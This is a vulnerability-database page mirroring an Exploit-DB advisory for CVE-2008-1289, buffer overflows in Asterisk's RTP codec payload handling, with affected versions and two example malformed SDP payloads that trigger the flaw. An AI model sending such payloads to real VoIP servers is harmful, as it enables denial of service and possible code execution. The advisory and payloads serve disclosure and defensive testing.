Lucene search
+L

Asterisk 1.4.x - RTP Codec Payload Handling Multiple Buffer Overflow Vulnerabilities

🗓️ 18 Mar 2008 00:00:00Reported by Mu Security researchType 
exploitdb
 exploitdb
🔗 www.exploit-db.com👁 34 Views

Asterisk 1.4.x - Multiple Buffer Overflow Vulnerabilitie

Related
Code
ReporterTitlePublishedViews
Family
Circl
CVE-2008-1289
18 Mar 200800:00
circl
Check Point Advisories
Update Protection against Asterisk Buffer Overflow Vulnerabilities
27 Apr 200800:00
checkpoint_advisories
Check Point Advisories
Digium Asterisk Invalid RTP Payload Type Number Memory Corruption (CVE-2008-1289)
10 Feb 201000:00
checkpoint_advisories
CVE
CVE-2008-1289
24 Mar 200817:00
cve
Cvelist
CVE-2008-1289
24 Mar 200817:00
cvelist
Debian CVE
CVE-2008-1289
24 Mar 200817:00
debiancve
Fedora
[SECURITY] Fedora 8 Update: asterisk-1.4.18.1-1.fc8
21 Mar 200822:03
fedora
Fedora
[SECURITY] Fedora 7 Update: asterisk-1.4.18.1-1.fc7
21 Mar 200822:15
fedora
Tenable Nessus
Fedora 8 : asterisk-1.4.18.1-1.fc8 (2008-2554)
26 Mar 200800:00
nessus
Tenable Nessus
Fedora 7 : asterisk-1.4.18.1-1.fc7 (2008-2620)
26 Mar 200800:00
nessus
Rows per page
source: https://www.securityfocus.com/bid/28308/info

Asterisk is prone to multiple buffer-overflow vulnerabilities because it fails to perform adequate boundary checks on user-supplied data before copying it to insufficiently sized buffers.

Exploiting these issues may allow an attacker to corrupt memory and cause denial-of-service conditions or potentially execute arbitrary code in the context of the application.

These issues affect the following versions:

Asterisk Open Source prior to 1.4.18.1 and 1.4.19-rc3.
Asterisk Open Source prior to 1.6.0-beta6
Asterisk Business Edition prior to C.1.6.1
AsteriskNOW prior to 1.0.2
Asterisk Appliance Developer Kit prior to Asterisk 1.4 revision 109386
s800i (Asterisk Appliance) prior to 1.1.0.2

Example invalid SDP payload (invalid RTP payload type is 780903144):

v=0
o=- 817933771 817933775 IN IP4 10.10.1.101
s=session-name
c=IN IP4 10.10.1.101
t=0 0
m=audio 5000 RTP/AVP 0
a=rtpmap:780903144 PCMU/8000
a=rtpmap:4 G723/8000/1
a=rtpmap:97 telephone-event/8000

Example SDP payload:
v=0
o=- 817933771 817933775 IN IP4 10.10.1.101
s=session-name
c=IN IP4 10.10.1.101
t=0 0
m=audio 5000 RTP/AVP 0
a=rtpmap:0 PCMU/8000
[... repeat this line ...]
a=rtpmap:4 G723/8000/1
a=rtpmap:97 telephone-event/8000

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation